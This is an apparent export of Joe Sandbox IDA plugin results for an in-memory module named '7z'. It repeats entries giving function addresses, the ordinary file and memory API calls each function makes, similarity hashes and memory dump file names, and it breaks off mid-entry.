Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ExceptionThrowfputsfreememset
String ID:
API String ID: 3104931167-0
Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction ID: 15a1c2aa654f91cc14de696712b675e0af4d46f447ad4bd4378c41e7f40257d1
Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction Fuzzy Hash: 9001ADB37016909AE705DF6AEA8479E6720F759B98F48C022DF0C07711DF74D8AAC360

Function 00A38A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000003,?,00A38E1D), ref: 00A38A99
GetLastError.KERNEL32(?,?,00000003,?,00A38E1D), ref: 00A38AA6

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction ID: 7cb426f91d2a67eddef0f58c55dab125f220386116c936616eccdb8f0e16237b
Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction Fuzzy Hash: AEF0C2A2F017C087DF208B6998447582761A79ABD8FA84122FB0C43B50DE2EC882C710

Function 00A70994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00A709D5

Part of subcall function 00A32300: fputc.MSVCRT ref: 00A32311

free.MSVCRT ref: 00A709E9

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID:
API String ID: 2822829076-0
Opcode ID: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
Instruction ID: e5daa335c0d10c0a01f2f0c39fa7305068bd67f1cc31544a2490ade5f5bc5fa8
Opcode Fuzzy Hash: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
Instruction Fuzzy Hash: E6F01263204A4480CA30DF25EA5575DA320E7C9BF8F58C321EE6D477E9DE28C586C700

Function 00A64035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00A6404D
memmove.MSVCRT ref: 00A64087

Part of subcall function 00A33404: free.MSVCRT ref: 00A33431
Part of subcall function 00A33404: memmove.MSVCRT ref: 00A3344C

Part of subcall function 00A32130: malloc.MSVCRT ref: 00A32134
Part of subcall function 00A32130: _CxxThrowException.MSVCRT ref: 00A3214F

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction ID: ddf62681aac452c6a6d3ebf0bab1fd73a423607c73a3284eae420bf27ca07707
Opcode Fuzzy Hash: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction Fuzzy Hash: C131A0772196C19ACA31EF14E6942EEB730F795340F404122DB9D43B5AEF38D699CB00

Function 00A64054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00A64065
memmove.MSVCRT ref: 00A64087

Part of subcall function 00A33404: free.MSVCRT ref: 00A33431
Part of subcall function 00A33404: memmove.MSVCRT ref: 00A3344C

Part of subcall function 00A32130: malloc.MSVCRT ref: 00A32134
Part of subcall function 00A32130: _CxxThrowException.MSVCRT ref: 00A3214F

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction ID: bd1dbb26d11ab43bfba76fc55409505c98f10e105e9df20a56345f5708b9c4ea
Opcode Fuzzy Hash: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction Fuzzy Hash: 5411DFA33156C592CE31EB10F6953AEA331F795790F808426DB9D47A69DF38C6CACB00

Function 00A59A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A59A84
free.MSVCRT ref: 00A59A95

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction ID: 5576c4c7c244d91dbfa11e4f9e9785d21394c65f7d5d7f307185078e9f43c23f
Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction Fuzzy Hash: 5CF08673301A90C6DA10AB26E94025D6710BB46FF1F188320EF791B791CF34C44BC310

Function 00A7C7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00A32130: malloc.MSVCRT ref: 00A32134
Part of subcall function 00A32130: _CxxThrowException.MSVCRT ref: 00A3214F

memmove.MSVCRT ref: 00A7C815
free.MSVCRT ref: 00A7C81D

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemallocmemmove
String ID:
API String ID: 1097815484-0
Opcode ID: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction ID: 038a36e45baa7c14404b34b37fa07595140d01ddbbc74b6ff41b9624b232a761
Opcode Fuzzy Hash: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction Fuzzy Hash: 0D0181777025888BCB14DF26D96156CB764E788FA9B08C129EF094B358DA34DC86CB91

Function 00A70A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00A70A42
LeaveCriticalSection.KERNEL32 ref: 00A70A73

Part of subcall function 00A7B480: GetTickCount.KERNEL32 ref: 00A7B49E
Part of subcall function 00A7B480: strcmp.MSVCRT ref: 00A7B4E3
Part of subcall function 00A7B480: wcscmp.MSVCRT ref: 00A7B502
Part of subcall function 00A7B480: strcmp.MSVCRT ref: 00A7B568

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
String ID:
API String ID: 3267814326-0
Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction ID: 756a10764120652585a72a90ad3776878b765651416ccca73280d84531c5910e
Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction Fuzzy Hash: DCF05E62314B5082E7109B24EC847996360F745BB5F148334DE7D477E4CF38898AC314

Function 00A32568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00A33274: memmove.MSVCRT ref: 00A332AC

free.MSVCRT ref: 00A325B5
free.MSVCRT ref: 00A325C0

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction ID: d5cabb490f178b6fabd5e8f0e94973936dd2b4ed776c180753b767edc91eecb0
Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction Fuzzy Hash: F4E0307225864091CE20EB20F55109AA720EBD57F4F442311B6BF576F9DE28C68ACB00

Function 00A32130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00A32134
_CxxThrowException.MSVCRT ref: 00A3214F

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction ID: bc1867dc3044989b569be6259ac071ca3ef7fba83c027ddb5912feaaab7b604a
Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction Fuzzy Hash: ECD01265B1B7C4D1DE04A7549C813155720A7A9740F909056F25E49729DA6CC18FC702

Function 00A4251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction ID: fb543efe0f3b2a1f33a190dc9b76575aeb51594aa55f76c1f3f4810f471cc44b
Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction Fuzzy Hash: E151457A644AC096CB62CF25C4403ED6B61F3C9F98FA94176EE8A0B718DF24C881C710

Function 00A586E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SysStringByteLen.OLEAUT32 ref: 00A58744

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ByteString
String ID:
API String ID: 4236320881-0
Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction ID: 2ce17d6c47b31824fa3bf9485f7be72445822ea7acebf3748d5c7e97c0ae15ce
Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction Fuzzy Hash: B011CC2661878182D7608B15E5407696360F7887E5F644320FFDAA77E4EF3CCD89C705

Function 00A38C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A38A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00A38E1D), ref: 00A38A99
Part of subcall function 00A38A60: GetLastError.KERNEL32(?,?,00000003,?,00A38E1D), ref: 00A38AA6

SetEndOfFile.KERNELBASE ref: 00A38CC7

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction ID: 43ad45c182b42a344f7bcfd7c57bd3ec83a22f83f46b0508656afbcdecc8cb3c
Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction Fuzzy Hash: 2BE02612301794C6E7209BB1A9816AA8320AB457E0F88A031BB4943B48CE6D8DDA9710

Function 00A364D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A36464: FreeLibrary.KERNELBASE(?,?,?,00A364E7), ref: 00A36475

LoadLibraryExW.KERNELBASE ref: 00A364F4

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction ID: 6853674549270f6ee7173a1e31ff0eea13bc85e849f34d2f197c5aa25d9804f1
Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction Fuzzy Hash: 9FD09722B00720A6FF102BB67A4136803102F0ABE0E88C030FF0D03300DE280CEBE310

Function 00A38BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00A38C1F

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction ID: da71096850067b3b9f6a0ed4febfcd3279b070824a99c0bceecc6ec6ff20c043
Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction Fuzzy Hash: ADE04676328640CBEB40CF60E800B4AB3A0F388B24F404214DE8E83B54CBBCC154CF41

Function 00A36464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,?,00A364E7), ref: 00A36475

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction ID: d32c2a6861c89de926b04e6e360785d44830e0f03f415748be9730f788be4b0b
Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction Fuzzy Hash: 6DD012A2B02604D5FF154FA2ED5473523546B58F44F5C9010DE294A240EB2A89958761

Function 00A38AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00A38B16

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction ID: 7da4d0e97b9ca33a0d74ba243cad0945e6792fe08b1a79f455c53992073edebe
Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction Fuzzy Hash: A8D01776618684CAE7008F60E44575AF764F388B64F484104EA8806764CBBCC199CB00

Function 00A326A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00A326C1

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: fputs
String ID:
API String ID: 1795875747-0
Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction ID: 5415a30a66375c45edf018d45e634e1463f66b8e4eef6cca1544ae534389bc7c
Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction Fuzzy Hash: 82D0A9D2700B0882CE10DB26E8003692321BB89BC8F088021EEAE0B318EA2CC2088B01

Function 00A3794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00A3795E

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction ID: 06d4b55c37e4781754df55404d60aceff81c80abaa92fd8800dc749e908267bd
Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction Fuzzy Hash: 96D012B6B0DA45C1DF712FBADC407682362ABA5F74F284320DAB44A7E0DF2985D6C711

Function 00A38BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE ref: 00A38BB7

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction ID: 5308093e9d94fd5f67692962aa41550fad48117c3ed11eb0abb0fc6e095387de
Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction Fuzzy Hash: 8BB09220B12440C6CB0C6722DC9231C13607789B22FE18429C60FD5A50CD1C86E94701

Function 00A5373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A537FB

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction ID: d981a73ac70dd3c459c2ac14d9dc2b5e924af9fe91c544ac228625dc3f3a5834
Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction Fuzzy Hash: 04213DB370424097CB24DB1AB800A6A77A5F7C9BE5F645234FF5647784EB38C94AC740

Function 00A59078 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,00A59B61), ref: 00A5911C

Part of subcall function 00A32130: malloc.MSVCRT ref: 00A32134
Part of subcall function 00A32130: _CxxThrowException.MSVCRT ref: 00A3214F

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

